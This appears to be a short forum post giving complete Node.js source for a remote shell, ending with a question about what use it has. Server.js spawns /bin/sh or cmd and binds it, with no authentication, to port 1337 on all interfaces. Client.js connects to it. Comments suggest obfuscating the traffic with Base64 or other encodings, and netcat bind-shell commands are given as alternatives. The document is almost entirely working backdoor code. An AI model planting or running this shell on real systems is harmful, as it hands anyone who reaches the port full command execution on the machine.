Node.js remote shell example

Client.js

var net = require('net')
var readline = require('readline')

/**
 * @class Client
 * @param host {String} the host
 * @param post {Integer} the port
 */
function Client (host, port) {
  this.host = host
  this.port = port
}

/**
 * @method connect
 * connect the client to the srv
 */
Client.prototype.connect = function (cb) {
  // create readline interface
  var rl = readline.createInterface(process.stdin, process.stdout)

  var self = this

    // create TCP client
  var client = net.connect({host: this.host, port: this.port}, function () {
        // write out connection details
    console.log('Connected to %s:%d\n', self.host, self.port)

    rl.on('line', function (d) {
            // send data to through the client to the host
      client.write(d.trim() + '\n')
    })

    client.on('data', function (d) {
            // pause to prevent more data from coming in
      process.stdin.pause()

            // write out the data
      process.stdout.write(d.toString())
      process.stdin.resume()
    })

    client.on('close', function () {
            // stop input
      process.stdin.pause()

            // end readline
      process.stdout.write('\nconnection closed by foreign host.\n')
      rl.close()
    })

    rl.on('SIGINT', function () {
            // stop input
      process.stdin.pause()
      process.stdout.write('\nending session\n')
      rl.close()

            // close connection
      client.end()
    })
    if (cb) cb(client, rl, process.stdin, process.stdout)
  })
}

/**
 * @function createClient
 * creates a new client
 */
module.exports = Client

if (!module.parent) {
  new Client(process.argv[2], process.argv[3]) // <host> <port>
      .connect()
}


/*
# $ node Client.js localhost 1337
# Or use Netcat:
$ $ nc localhost 1337
*/

Server.js

var spawn = require('child_process').spawn
var net = require('net')

var server = net.createServer(function (socket) {
  console.log('New connection!')
  var sh = (process.platform === 'win32') ? spawn('cmd') : spawn('/bin/sh')
  sh.stdin.resume()
  sh.stdout.on('data', function (data) {
                // Node makes async stuff easy.
                // You can do cool things like:
                // socket.write(Base64_encode(data));
                // or any other encoding/obfuscation
                // for that matter.
    socket.write(data)
  })
  sh.stderr.on('data', function (data) {
    socket.write(data)
  })
  socket.on('data', function (data) {
    sh.stdin.write(data)
  })
  socket.on('end', function () {
    console.log('Connection end.')
  })
  socket.on('timeout', function () {
    console.log('Connection timed out')
  })
  socket.on('close', function (hadError) {
    console.log('Connection closed', hadError ? 'because of a conn. error' : 'by client')
  })
})
server.listen(1337, '0.0.0.0')

/*
# Or use Netcat bindshell:
$ nc -klvp 1337
*/

What use is there in this?